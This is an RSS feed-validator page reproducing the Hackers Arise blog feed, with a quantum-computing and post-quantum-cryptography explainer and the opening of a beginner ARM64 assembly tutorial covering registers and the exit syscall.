Congratulations!

[Valid RSS] This is a valid RSS feed.

Recommendations

This feed is valid, but interoperability with the widest range of feed readers could be improved by implementing the following recommendations.

Source: https://www.hackers-arise.com/blog-feed.xml

  1. <?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
  2. xmlns:content="http://purl.org/rss/1.0/modules/content/"
  3. xmlns:wfw="http://wellformedweb.org/CommentAPI/"
  4. xmlns:dc="http://purl.org/dc/elements/1.1/"
  5. xmlns:atom="http://www.w3.org/2005/Atom"
  6. xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
  7. xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
  8. >
  9.  
  10. <channel>
  11. <title>Hackers Arise</title>
  12. <atom:link href="https://hackers-arise.com/feed/" rel="self" type="application/rss+xml" />
  13. <link>https://hackers-arise.com</link>
  14. <description>EXPERT CYBERSECURITY TRAINING FOR ETHICAL HACKERS</description>
  15. <lastBuildDate>Fri, 12 Sep 2025 16:52:25 +0000</lastBuildDate>
  16. <language>en-US</language>
  17. <sy:updatePeriod>
  18. hourly </sy:updatePeriod>
  19. <sy:updateFrequency>
  20. 1 </sy:updateFrequency>
  21. <generator>https://wordpress.org/?v=6.8.2</generator>
  22.  
  23. <image>
  24. <url>https://hackers-arise.com/wp-content/uploads/2025/04/cropped-Favicon-32x32.webp</url>
  25. <title>Hackers Arise</title>
  26. <link>https://hackers-arise.com</link>
  27. <width>32</width>
  28. <height>32</height>
  29. </image>
  30. <item>
  31. <title>What is Quantum Computing How Does It Threaten Cybersecurity?</title>
  32. <link>https://hackers-arise.com/what-is-quantum-computing-how-does-it-threaten-cybersecurity/</link>
  33. <comments>https://hackers-arise.com/what-is-quantum-computing-how-does-it-threaten-cybersecurity/#respond</comments>
  34. <dc:creator><![CDATA[OTW]]></dc:creator>
  35. <pubDate>Fri, 12 Sep 2025 16:32:06 +0000</pubDate>
  36. <category><![CDATA[Cryptography & Encryption]]></category>
  37. <category><![CDATA[Cybersecurity Tools]]></category>
  38. <category><![CDATA[Cyberwarrior]]></category>
  39. <guid isPermaLink="false">https://hackers-arise.com/?p=16471</guid>
  40.  
  41. <description><![CDATA[<p>Welcome back, my aspiring cyberwarriors! For decades now, people have been talking with baited breath about quantum computing and its potential to revolutionize computing. So far, no commercial products have appeared. This isn&#8217;t dissimilar (I know, a double negative) from what happened to artificial intelligence. For decades, people talked about the promise of AI, and [&#8230;]</p>
  42. <p>The post <a href="https://hackers-arise.com/what-is-quantum-computing-how-does-it-threaten-cybersecurity/">What is Quantum Computing How Does It Threaten Cybersecurity?</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></description>
  43. <content:encoded><![CDATA[<p>Welcome back, my aspiring cyberwarriors!</p>
  44.  
  45.  
  46.  
  47. <p>For decades now, people have been talking with baited breath about quantum computing and its potential to revolutionize computing. So far, no commercial products have appeared. This isn&#8217;t dissimilar (I know, a double negative) from what happened to artificial intelligence. For decades, people talked about the promise of AI, and then suddenly, it was upon us and everywhere.</p>
  48.  
  49.  
  50.  
  51. <p>Quantum computing isn&#8217;t not upon us yet, but it very close. Maybe 3 years away from hybrid CPU/GPU/QBit machines. That&#8217;s not long to prepare for the revolution it will unleash on cybersecurity.</p>
  52.  
  53.  
  54.  
  55. <p>In this post, I want to help you to better understand what quantum computing is and how it will change the discipline we love, cybersecurity. If any of this interests you, we have a Intermediate Cryptography training coming up, October 21-23. We will delve deeper in that class on quantum computing and post quantum cryptography (PQC). </p>
  56.  
  57.  
  58.  
  59. <p>This is a revolution you don&#8217;t want to miss!</p>
  60.  
  61.  
  62.  
  63. <p class="has-large-font-size"><strong>What is Quantum Computing?</strong></p>
  64.  
  65.  
  66.  
  67. <p><strong>Quantum computing</strong> is an advanced field of computer science that uses the principles of <strong>quantum mechanics</strong>—such as superposition, entanglement, and interference—to process information in ways that are <strong>fundamentally different from classical computers</strong>.<a href="https://www.ibm.com/think/topics/quantum-computing" target="_blank" rel="noreferrer noopener"></a></p>
  68.  
  69.  
  70.  
  71. <p class="has-large-font-size"><strong>What is Quantum Mechanics?</strong></p>
  72.  
  73.  
  74.  
  75. <p><strong>Quantum mechanics</strong> is the fundamental branch of physics that describes how matter and energy behave at <strong>very small scales</strong>—typically atoms and subatomic particles. It explains phenomena that classical physics cannot explain, introducing principles like wave-particle duality, superposition, and the uncertainty principle.</p>
  76.  
  77.  
  78.  
  79. <h2 class="wp-block-heading" id="core-principles">Core Principles of Quantum Mechanics</h2>
  80.  
  81.  
  82.  
  83. <p><strong>Wave-particle duality</strong>: Quantum entities like electrons and photons show both particle and wave characteristics, depending on how they are measured.<a href="https://www.futurelearn.com/info/courses/frontier-physics-future-technologies/0/steps/240867" target="_blank" rel="noreferrer noopener"></a></p>
  84.  
  85.  
  86.  
  87. <p><strong>Superposition</strong>: A quantum system can exist in multiple states simultaneously until <strong>measured, at which point it collapses to a definite state</strong>.<a href="https://qt.eu/quantum-principles/" target="_blank" rel="noreferrer noopener"></a></p>
  88.  
  89.  
  90.  
  91. <p><strong>Uncertainty principle</strong>: It is <strong>impossible to precisely know both the position and momentum</strong> of a particle at the same time (Heisenberg’s Uncertainty Principle).<a href="https://en.wikipedia.org/wiki/Quantum_mechanics" target="_blank" rel="noreferrer noopener"></a></p>
  92.  
  93.  
  94.  
  95. <p><strong>Quantization</strong>: Physical properties such as energy, momentum, and angular momentum can only take discrete values in quantum systems.<a rel="noreferrer noopener" target="_blank" href="https://www.energy.gov/science/doe-explainsquantum-mechanics"></a></p>
  96.  
  97.  
  98.  
  99. <p><strong>Probability and measurement</strong>: Quantum mechanics provides <strong>probabilities of outcomes</strong>, not certainties—only accounting for what is likely to be measured.<a href="https://consensus.app/questions/what-principles-quantum-mechanics-applications/" target="_blank" rel="noreferrer noopener"></a> This is a fundamental difference between quantum mechanics and traditional mechanics and a major challenge of bringing quantum computing to the commercial and practical use.</p>
  100.  
  101.  
  102.  
  103. <h2 class="wp-block-heading" id="key-concepts">Key Concepts of Quantum Computing</h2>
  104.  
  105.  
  106.  
  107. <p><strong>Qubit</strong>: The quantum analogue of the classical bit. Unlike a classical bit, which is always deterministic (either 0 or 1)  a qubit can exist in a superposition of both states simultaneously, which allows quantum computers <strong>to process many possibilities at once.</strong></p>
  108.  
  109.  
  110.  
  111. <figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="483" src="https://hackers-arise.com/wp-content/uploads/2025/09/qubit-superposition-1024x483.jpg" alt="" class="wp-image-18098" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/qubit-superposition-1024x483.jpg 1024w, https://hackers-arise.com/wp-content/uploads/2025/09/qubit-superposition-300x141.jpg 300w, https://hackers-arise.com/wp-content/uploads/2025/09/qubit-superposition-768x362.jpg 768w, https://hackers-arise.com/wp-content/uploads/2025/09/qubit-superposition.jpg 1220w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  112.  
  113.  
  114.  
  115. <p><strong>Superposition</strong>: A principle where a qubit can be both 0 and 1 at the same time. This enables quantum computers to <strong>handle much larger computational spaces</strong> than classical bits.<a href="https://www.ibm.com/think/topics/quantum-computing" target="_blank" rel="noreferrer noopener"></a></p>
  116.  
  117.  
  118.  
  119. <p><strong>Entanglement</strong>: A phenomenon where qubits become linked such that the state of one instantly influences the state of another, no matter how far apart they are. <strong>This property boosts quantum processing power for certain calculations.<a href="https://aws.amazon.com/what-is/quantum-computing/" target="_blank" rel="noreferrer noopener"></a></strong></p>
  120.  
  121.  
  122.  
  123. <p><strong>Interference</strong>: Quantum algorithms are designed to amplify the probability of correct answers and reduce the probability of incorrect ones using interference patterns.<a rel="noreferrer noopener" target="_blank" href="https://en.wikipedia.org/wiki/Quantum_computing"></a></p>
  124.  
  125.  
  126.  
  127. <h2 class="wp-block-heading" id="why-is-quantum-computing-important">Why Is Quantum Computing Important?</h2>
  128.  
  129.  
  130.  
  131. <p>Quantum computers have the potential to solve complex problems much faster than classical computers, such as factoring large numbers (important in cryptography), simulating molecules for drug discovery, and optimizing large datasets. It is ability to quickly solve factoring very large numbers that is of most interest to us in cybersecurity. Asymmetric encryption is dependent upon the inability of modern, traditional computers to solve these calculations quickly. Quantum computers do not lack this ability and asymmetric encryption algorithms such as RSA are easily broken by quantum computers using Shor&#8217;s algorithm.</p>
  132.  
  133.  
  134.  
  135. <figure class="wp-block-image size-large"><img decoding="async" width="1024" height="577" src="https://hackers-arise.com/wp-content/uploads/2025/09/shors-2-1024x577.png" alt="" class="wp-image-18097" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/shors-2-1024x577.png 1024w, https://hackers-arise.com/wp-content/uploads/2025/09/shors-2-300x169.png 300w, https://hackers-arise.com/wp-content/uploads/2025/09/shors-2-768x432.png 768w, https://hackers-arise.com/wp-content/uploads/2025/09/shors-2-1536x865.png 1536w, https://hackers-arise.com/wp-content/uploads/2025/09/shors-2-2048x1153.png 2048w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  136.  
  137.  
  138.  
  139. <h2 class="wp-block-heading" id="limitations-and-state-of-the-art">Limitations and State of the Art</h2>
  140.  
  141.  
  142.  
  143. <p>Most quantum computers today are experimental and best suited for specific research or narrow applications but practical applications are on the near horizon. Quantum computing companies such as IONQ have signed contracts with the US Defense Department and US Air Force to offer quantum computing services. This means that state-sponsored actors are likely to have quantum computing capabilities long before the rest of us.</p>
  144.  
  145.  
  146.  
  147. <p>Challenges include qubit stability (decoherence), error rates, and scaling up to large numbers of qubits for practical use. Despite these challenges, industry leaders such as Nvidia&#8217;s Jensen Huang, are developing hybrid systems that will integrate CPU&#8217;s, GPU&#8217;s and Qbits. These will likely be the first commercial systems and are probably only 3 years away. </p>
  148.  
  149.  
  150.  
  151. <h2 class="wp-block-heading" id="summary-table">Summary Table</h2>
  152.  
  153.  
  154.  
  155. <figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Classical Computer</th><th>Quantum Computer</th></tr></thead><tbody><tr><td>Bit (0 or 1)</td><td>Qubit (0, 1, both via superposition)</td></tr><tr><td>Deterministic</td><td>Probabilistic</td></tr><tr><td>Linear scaling</td><td>Exponential scaling with qubits</td></tr><tr><td>Limited by classical physics</td><td>Exploits quantum mechanics</td></tr></tbody></table></figure>
  156.  
  157.  
  158.  
  159. <p>Quantum computing represents a <strong>revolutionary approach</strong> for tasks that remain too hard for today’s most powerful classical systems including asymmetric cryptography(RSA, ECC).</p>
  160.  
  161.  
  162.  
  163. <h2 class="wp-block-heading">How Quantum Computing Threatens Cybersecurity</h2>
  164.  
  165.  
  166.  
  167. <p><strong>Breaking Current Encryption:</strong> Quantum computers, thanks to algorithms like Shor’s, will be able to factor large numbers and solve mathematical problems that underpin widely used encryption methods such as<strong> RSA and ECC at unprecedented speeds</strong>. This means that secure communications (HTTPS, VPNs, digital signatures) and much of the world’s encrypted data could be decrypted by quantum adversaries, exposing sensitive information, financial transactions, private communications, and critical infrastructure.</p>
  168.  
  169.  
  170.  
  171. <p><strong>‘Harvest Now, Decrypt Later’ Threat:</strong> Malicious actors may harvest encrypted data today, intending to decrypt it in the future when quantum computing power becomes available</p>
  172.  
  173.  
  174.  
  175. <p><strong>Vulnerable Infrastructure:</strong> Industries relying on legacy encryption—such as banking, healthcare, and government—are particularly threatened, as data breaches could result in massive regulatory, financial, and reputational harm</p>
  176.  
  177.  
  178.  
  179. <p><strong>Advanced Malware and Attacks:</strong> Quantum computing may also enable more advanced malware, AI-driven attacks, and the rapid discovery of vulnerabilities, further evading current detection systems</p>
  180.  
  181.  
  182.  
  183. <p class="has-large-font-size"><strong>Post Quantum Cryptography</strong></p>
  184.  
  185.  
  186.  
  187. <p><strong>Post-quantum cryptography (PQC)</strong> is the field focused on designing and standardizing cryptographic algorithms that are secure against attacks by both classical computers and future quantum computers. It aims to protect data and communications from being decrypted by powerful quantum machines that could break today’s widely used public-key cryptography, such as RSA and Elliptic Curve schemes. </p>
  188.  
  189.  
  190.  
  191. <p></p>
  192.  
  193.  
  194.  
  195. <p>To implement post quantum cryptography will mean replacing today&#8217;s hardware and software with new IT infrastructure. Those who fail to do this will no longer enjoy the benefits of confidentiality and privacy. Until this new infrastructure is deployed, the first movers with access to quantum systems will be able break everyone&#8217;s cryptography.</p>
  196.  
  197.  
  198.  
  199. <p class="has-large-font-size"><strong>Summary</strong></p>
  200.  
  201.  
  202.  
  203. <p>Quantum computing will radically reshape the threat landscape—eroding the security of current systems. Once the state-sponsored entities from the US, Russia, China, and Israel have these systems at their disposal, none of information will be safe. Remember that asymmetric encryption is usually used for key exchange between communicating systems. If the key exchange can be intercepted, nothing is safe!</p><p>The post <a href="https://hackers-arise.com/what-is-quantum-computing-how-does-it-threaten-cybersecurity/">What is Quantum Computing How Does It Threaten Cybersecurity?</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></content:encoded>
  204. <wfw:commentRss>https://hackers-arise.com/what-is-quantum-computing-how-does-it-threaten-cybersecurity/feed/</wfw:commentRss>
  205. <slash:comments>0</slash:comments>
  206. </item>
  207. <item>
  208. <title>ARM Assembly: Getting Started</title>
  209. <link>https://hackers-arise.com/arm-assembly-getting-started/</link>
  210. <dc:creator><![CDATA[aircorridor]]></dc:creator>
  211. <pubDate>Fri, 12 Sep 2025 13:42:08 +0000</pubDate>
  212. <category><![CDATA[Uncategorized]]></category>
  213. <guid isPermaLink="false">https://hackers-arise.com/?p=18022</guid>
  214.  
  215. <description><![CDATA[<p>Welcome back, aspiring security researchers! In the world of offensive security, understanding assembly language is important for exploit development, reverse engineering, and vulnerability research. Whether you&#8217;re analyzing malware, developing proof-of-concept, or conducting security assessments on ARM-based IoT devices, assembly knowledge gives you the skills to understand how vulnerabilities actually work at the processor level. As [&#8230;]</p>
  216. <p>The post <a href="https://hackers-arise.com/arm-assembly-getting-started/">ARM Assembly: Getting Started</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></description>
  217. <content:encoded><![CDATA[<p>Welcome back, aspiring security researchers!</p>
  218.  
  219.  
  220.  
  221. <p>In the world of offensive security, understanding assembly language is important for exploit development, reverse engineering, and vulnerability research. Whether you&#8217;re analyzing malware, developing proof-of-concept, or conducting security assessments on ARM-based IoT devices, assembly knowledge gives you the skills to understand how vulnerabilities actually work at the processor level.</p>
  222.  
  223.  
  224.  
  225. <p>As you know, many security vulnerabilities exist at the boundary between high-level code and low-level system operations. Buffer overflows, return-oriented programming (ROP), and other exploitation techniques require deep understanding of how programs interact with memory and the processor. Assembly language is the key to understand these concepts.</p>
  226.  
  227.  
  228.  
  229. <p>Besides that, modern exploit development increasingly targets ARM processors due to their prevalence in mobile devices and IoT systems.</p>
  230.  
  231.  
  232.  
  233. <p>ARM Assembly knowledge enables several key security research capabilities:</p>
  234.  
  235.  
  236.  
  237. <ul class="wp-block-list">
  238. <li><strong>Binary Analysis</strong>: Understanding how compiled programs actually execute</li>
  239.  
  240.  
  241.  
  242. <li><strong>Exploit Development</strong>: Crafting precise memory corruption exploits</li>
  243.  
  244.  
  245.  
  246. <li><strong>Reverse Engineering</strong>: Analyzing malware and proprietary software</li>
  247.  
  248.  
  249.  
  250. <li><strong>IoT Security Research</strong>: Testing ARM-based embedded devices</li>
  251.  
  252.  
  253.  
  254. <li><strong>Mobile Security</strong>: Understanding Android and iOS internals</li>
  255. </ul>
  256.  
  257.  
  258.  
  259. <p>Core advantages of learning ARM Assembly:</p>
  260.  
  261.  
  262.  
  263. <ul class="wp-block-list">
  264. <li><strong><a href="https://hackers-arise.com/arm-cpu-architecture-the-power-of-simplicity-and-efficiency/">RISC Simplicity</a></strong>: Fewer instructions make reverse engineering more straightforward</li>
  265.  
  266.  
  267.  
  268. <li><strong>Predictable Behavior</strong>: ARM&#8217;s design makes exploit development more reliable</li>
  269.  
  270.  
  271.  
  272. <li><strong>Widespread Deployment</strong>: Skills apply across mobile, embedded, and cloud environments</li>
  273.  
  274.  
  275.  
  276. <li><strong>Research Platform</strong>: Raspberry Pi provides affordable hardware for security testing</li>
  277. </ul>
  278.  
  279.  
  280.  
  281. <p>Let&#8217;s set up a security research environment and explore ARM assembly!</p>
  282.  
  283.  
  284.  
  285. <h2 class="wp-block-heading"><strong>Step #1: Hardware Setup</strong></h2>
  286.  
  287.  
  288.  
  289. <p>Generally you have a few options for creating an ARM environment:</p>
  290.  
  291.  
  292.  
  293. <p><strong>1. Raspberry Pi (Recommended &#8211; I&#8217;ll use Pi 4)</strong></p>
  294.  
  295.  
  296.  
  297. <ul class="wp-block-list">
  298. <li>Real ARM hardware with excellent performance</li>
  299.  
  300.  
  301.  
  302. <li>Perfect for IoT security research scenarios</li>
  303.  
  304.  
  305.  
  306. <li>One-time cost (~$35-75)</li>
  307.  
  308.  
  309.  
  310. <li>Direct hardware access for advanced experiments</li>
  311. </ul>
  312.  
  313.  
  314.  
  315. <p><strong>2. Cloud Virtual Machines</strong></p>
  316.  
  317.  
  318.  
  319. <ul class="wp-block-list">
  320. <li>AWS, Google Cloud, Oracle instances</li>
  321.  
  322.  
  323.  
  324. <li>Scalable but ongoing costs</li>
  325.  
  326.  
  327.  
  328. <li>No hardware purchase required</li>
  329. </ul>
  330.  
  331.  
  332.  
  333. <p><strong>3. Online CPU Emulators</strong></p>
  334.  
  335.  
  336.  
  337. <ul class="wp-block-list">
  338. <li>Zero setup, browser-based (CPUlator, VisUAL)</li>
  339.  
  340.  
  341.  
  342. <li><strong>Limited capabilities</strong> &#8211; only basic instruction execution</li>
  343.  
  344.  
  345.  
  346. <li>Good for initial learning but not real exploit development</li>
  347. </ul>
  348.  
  349.  
  350.  
  351. <p><strong>4. QEMU Emulators</strong></p>
  352.  
  353.  
  354.  
  355. <ul class="wp-block-list">
  356. <li>Full system emulation with debugging capabilities</li>
  357.  
  358.  
  359.  
  360. <li><strong>Requires technical knowledge and setup</strong></li>
  361.  
  362.  
  363.  
  364. <li><strong>Limited performance</strong> compared to native hardware</li>
  365. </ul>
  366.  
  367.  
  368.  
  369. <p><strong>My Recommendation:</strong> Start with <strong>Raspberry Pi</strong> for authentic ARM experience and real-world security research applicability.</p>
  370.  
  371.  
  372.  
  373. <p>Now let&#8217;s set up your chosen environment!</p>
  374.  
  375.  
  376.  
  377. <h2 class="wp-block-heading"><strong>Step #2: Prepare Your Raspberry Pi</strong></h2>
  378.  
  379.  
  380.  
  381. <p>First of all, we need to install a GCC compiler:</p>
  382.  
  383.  
  384.  
  385. <p><strong>raspberrypi> sudo apt install build-essential binutils</strong></p>
  386.  
  387.  
  388.  
  389. <figure class="wp-block-image aligncenter size-full"><img decoding="async" width="888" height="141" src="https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_install_gcc.webp" alt="" class="wp-image-18023" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_install_gcc.webp 888w, https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_install_gcc-300x48.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_install_gcc-768x122.webp 768w" sizes="(max-width: 888px) 100vw, 888px" /></figure>
  390.  
  391.  
  392.  
  393. <p>It should be installed before we can assemble the files we’re creating, as well as before creating new executable files.</p>
  394.  
  395.  
  396.  
  397. <h2 class="wp-block-heading"><strong>Step #3: ARM Registers</strong></h2>
  398.  
  399.  
  400.  
  401. <p>Registers are small storage areas located close to the processor for quick access. They hold various temporary values. When writing an Assembly program, you’ll access them frequently since it’s faster than accessing disk memory or RAM.</p>
  402.  
  403.  
  404.  
  405. <p>If we run uname -a on our Raspberry Pi, we can see output similar to the following:</p>
  406.  
  407.  
  408.  
  409. <figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="882" height="99" src="https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_uname_info.webp" alt="" class="wp-image-18024" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_uname_info.webp 882w, https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_uname_info-300x34.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_uname_info-768x86.webp 768w" sizes="(max-width: 882px) 100vw, 882px" /></figure>
  410.  
  411.  
  412.  
  413. <p>The output shows that the system is running aarch64, which means a 64-bit ARM architecture (ARMv8-A). The set of available registers depends on the ARM architecture version and execution state. On ARMv8-A in AArch64 state there are 31 general-purpose 64-bit registers, named x0–x30<strong>:</strong></p>
  414.  
  415.  
  416.  
  417. <figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="717" src="https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_arm_registers-1024x717.webp" alt="" class="wp-image-18025" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_arm_registers-1024x717.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_arm_registers-300x210.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_arm_registers-768x538.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_arm_registers-1536x1076.webp 1536w, https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_arm_registers.webp 1890w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption"><strong>Source: https://eclecticlight.co</strong></figcaption></figure>
  418.  
  419.  
  420.  
  421. <ul class="wp-block-list">
  422. <li><code>x0–x30</code><strong> → General-purpose registers:</strong> Store values while your program runs.</li>
  423.  
  424.  
  425.  
  426. <li><code>x30</code><strong> → Link register (LR):</strong> By convention, stores the return address for function calls.</li>
  427.  
  428.  
  429.  
  430. <li><code>x31</code><strong> → Alias register:</strong> Not a physical register; depending on context, it represents either:
  431. <ul class="wp-block-list">
  432. <li><code>sp</code><strong> (stack pointer):</strong> Points to the top of the stack (memory used for temporary storage, function calls, and local variables).</li>
  433.  
  434.  
  435.  
  436. <li><code>zr</code><strong> (zero register):</strong> Always reads as 0 and discards anything written to it.</li>
  437. </ul>
  438. </li>
  439.  
  440.  
  441.  
  442. <li><code>pc</code><strong> (program counter):</strong> Holds the address of the next instruction to execute. Usually not accessed directly.</li>
  443.  
  444.  
  445.  
  446. <li><code>pstate</code><strong> (processor state):</strong> Holds flags (zero, negative, carry, overflow) and controls the CPU’s current execution mode.</li>
  447. </ul>
  448.  
  449.  
  450.  
  451. <p>Although most registers can be used freely, software conventions (ABI – Application Binary Interface) assign specific roles, especially for Linux function calls:</p>
  452.  
  453.  
  454.  
  455. <ul class="wp-block-list">
  456. <li><code>x0–x7</code><strong> → Argument registers:</strong> Pass arguments to functions; <code>x0</code> also holds the return value.</li>
  457.  
  458.  
  459.  
  460. <li><code>x8</code><strong> → Indirect result register or syscall number.</strong></li>
  461.  
  462.  
  463.  
  464. <li><code>x9–x15</code><strong> → Temporary registers (caller-saved).</strong></li>
  465.  
  466.  
  467.  
  468. <li><code>x19–x28</code><strong> → Callee-saved registers:</strong> A function must restore them before returning.</li>
  469.  
  470.  
  471.  
  472. <li><code>x29</code><strong> → Frame pointer (FP):</strong> Helps debuggers and stack traces.</li>
  473.  
  474.  
  475.  
  476. <li><code>x30</code><strong> → Link register (LR):</strong> Stores return address after a function call.</li>
  477.  
  478.  
  479.  
  480. <li><code>sp</code><strong> → Stack pointer:</strong> Points to the top of the stack.</li>
  481. </ul>
  482.  
  483.  
  484.  
  485. <h2 class="wp-block-heading"><strong>Step #4: Getting Started with ARM Assembly</strong></h2>
  486.  
  487.  
  488.  
  489. <p>Let’s create a new file called <code>hello.s</code> (the .s extension indicates it’s assembly source code).</p>
  490.  
  491.  
  492.  
  493. <p>We’ll start with <strong>.global _start</strong>. The .global directive makes the _start label visible outside the program for the linker. (A linker takes compiled code files, connects them by resolving function and variable references, adjusts memory addresses, and produces a single executable.)</p>
  494.  
  495.  
  496.  
  497. <p>The _start label marks a specific location in memory. If you have programming experience, you can think of it like a function name—it labels a memory location, and referencing it gives the value stored there.</p>
  498.  
  499.  
  500.  
  501. <p>Next, let’s add .section .text, which defines the section of the file that holds the program’s instructions.</p>
  502.  
  503.  
  504.  
  505. <figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="232" height="84" src="https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_start_of_the_script.webp" alt="" class="wp-image-18026"/></figure>
  506.  
  507.  
  508.  
  509. <p>Now that we’ve declared _start as global, we can define our code. We’ll begin with something very simple: just exiting the program and observing the exit code. Usually, when learning a new programming language, we print &#8220;Hello World!&#8221;, but in Assembly this is more complicated than beginners might expect. So we’ll start with something really basic.</p>
  510.  
  511.  
  512.  
  513. <p>In ARM64 Assembly, we use the special register x8 to pass a value to the kernel that tells it which system call to execute. To know which value to pass to <code>x8</code>, we can refer to the <a href="https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md">Chromium Linux System Call Table</a>.</p>
  514.  
  515.  
  516.  
  517. <figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="683" src="https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_syscall_table-1024x683.webp" alt="" class="wp-image-18027" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_syscall_table-1024x683.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_syscall_table-300x200.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_syscall_table-768x512.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_syscall_table.webp 1075w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  518.  
  519.  
  520.  
  521. <p>Here we can look at the required table and find the <code>exit</code> syscall.</p>
  522.  
  523.  
  524.  
  525. <figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="908" height="273" src="https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_exit_syscode.webp" alt="" class="wp-image-18028" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_exit_syscode.webp 908w, https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_exit_syscode-300x90.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_exit_syscode-768x231.webp 768w" sizes="(max-width: 908px) 100vw, 908px" /></figure>
  526.  
  527.  
  528.  
  529. <p>We need to pass the syscall number to the x8 register to indicate that we want to invoke the exit syscall.</p>
  530.  
  531.  
  532.  
  533. <p>On the right-hand side, you’ll see <code>int error_code</code>, which corresponds to x0, the first argument. This value will be the exit code returned by the program. We’ll print this code to the screen after we write the program.</p>
  534.  
  535.  
  536.  
  537. <h2 class="wp-block-heading"><strong>Step #5: MOV Instructions</strong></h2>
  538.  
  539.  
  540.  
  541. <p>In ARM64 (AArch64) assembly, the <code>mov</code> instruction is used to copy a value into a register.</p>
  542.  
  543.  
  544.  
  545. <p>The syntax is simple:</p>
  546.  
  547.  
  548.  
  549. <p><strong>raspberrypi> mov &lt;destination_register>, &lt;source></strong></p>
  550.  
  551.  
  552.  
  553. <p>We’ll use the mov instruction to set x0—our exit code—to a value, for example, <code>7</code>. To indicate that it’s a constant, we prefix the number with a <code>#</code> sign.</p>
  554.  
  555.  
  556.  
  557. <figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="425" height="159" src="https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_mov_command.webp" alt="" class="wp-image-18029" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_mov_command.webp 425w, https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_mov_command-300x112.webp 300w" sizes="(max-width: 425px) 100vw, 425px" /></figure>
  558.  
  559.  
  560.  
  561. <p>After that, we need to invoke the actual syscall by setting <code>x8</code>.</p>
  562.  
  563.  
  564.  
  565. <figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="310" height="84" src="https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_invoke_syscall.webp" alt="" class="wp-image-18030" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_invoke_syscall.webp 310w, https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_invoke_syscall-300x81.webp 300w" sizes="(max-width: 310px) 100vw, 310px" /></figure>
  566.  
  567.  
  568.  
  569. <p>As you can see, the value we assign to x8 is <code>93</code>, which is the system call number for <code>exit</code>.</p>
  570.  
  571.  
  572.  
  573. <figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="844" height="232" src="https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_syscall_number.webp" alt="" class="wp-image-18031" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_syscall_number.webp 844w, https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_syscall_number-300x82.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_syscall_number-768x211.webp 768w" sizes="(max-width: 844px) 100vw, 844px" /></figure>
  574.  
  575.  
  576.  
  577. <p>Next, we need to trigger a software interrupt to tell the kernel that we want to pass execution to handle a syscall. For this purpose, we use the svc instruction.</p>
  578.  
  579.  
  580.  
  581. <figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="404" height="204" src="https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_finall_program.webp" alt="" class="wp-image-18032" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_finall_program.webp 404w, https://hackers-arise.com/wp-content/uploads/2025/09/arm_assembly_finall_program-300x151.webp 300w" sizes="(max-width: 404px) 100vw, 404px" /></figure>
  582.  
  583.  
  584.  
  585. <p><code>svc</code> requires a value from 0–255, which is passed to the exception handler. However, on Linux ARM64, this value is ignored — the kernel only uses <code>x8</code> (the syscall number). So you can specify any number.</p>
  586.  
  587.  
  588.  
